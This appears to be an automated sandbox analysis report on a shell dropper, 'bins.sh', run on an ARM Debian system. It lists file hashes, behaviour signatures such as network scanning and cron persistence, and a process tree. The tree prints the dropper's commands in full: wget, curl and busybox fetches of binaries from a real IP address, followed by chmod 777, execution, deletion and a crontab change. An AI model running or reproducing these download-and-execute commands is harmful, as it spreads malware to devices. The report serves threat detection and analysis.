Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 10:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    782fad2003d7212f3365eba40d6e6f9b

  • SHA1

    8d89fb07236bddaa91ccd1787427a115576d0f3b

  • SHA256

    4c23b7f175bcf21ff03b72a53f53a2d88d62cefa2c5ec0b74dd941d32183a69d

  • SHA512

    987fe627b321243f135aa61cd6b131d1049e2c35c1662fbade1459ba3d19e5a4c460d1af5b9ecb348c1c0ee653a48cdcb3b65fdc5ae2abbf06eab66d65810c2a

  • SSDEEP

    192:BzrjeSOvHJiSiswV1gyz2BgV1R5QQQRiuYr1R5QQciuYGbyHBiSiswVJzrjeSOV:AxiSiJV1g4qgcRiuYmiuYGoiSiJVO

Malware Config

Signatures

  • Contacts a large (1544) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:642
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:644
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:646
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:669
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:708
          • /bin/chmod
            chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • File and Directory Permissions Modification
            PID:713
          • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Executes dropped EXE
            PID:715
          • /bin/rm
            rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
              PID:717
            • /usr/bin/wget
              wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:731
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:733
            • /bin/chmod
              chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Executes dropped EXE
              PID:738
            • /bin/rm
              rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:742
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:754
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:769
              • /bin/chmod
                chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • File and Directory Permissions Modification
                PID:771
              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Executes dropped EXE
                PID:772
              • /bin/rm
                rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:775
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:776
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /bin/chmod
                  chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • File and Directory Permissions Modification
                  PID:778
                • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:779
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:781
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:782
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:783
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:784
                    • /bin/rm
                      rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                      2⤵
                        PID:786
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                        2⤵
                          PID:789

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /var/spool/cron/crontabs/tmp.nptav2

                        Filesize

                        210B

                        MD5

                        fed7d2f86e498b60a8e71847f3ebcef2

                        SHA1

                        38a9ebbb33322fdd3dcb58ea4909d117163077ad

                        SHA256

                        21d7ae19a8d9224c4d93313f0b6cea346c51526baae641ef38eadb60738d9f0c

                        SHA512

                        61f10e2684da0594a24110b79411bac67d1d0d5aaf77968f7cb34e39fa1010c5c291aec3fd12ded0d0cfeae0f68e820bdba6f35305c54c62827fd51043470949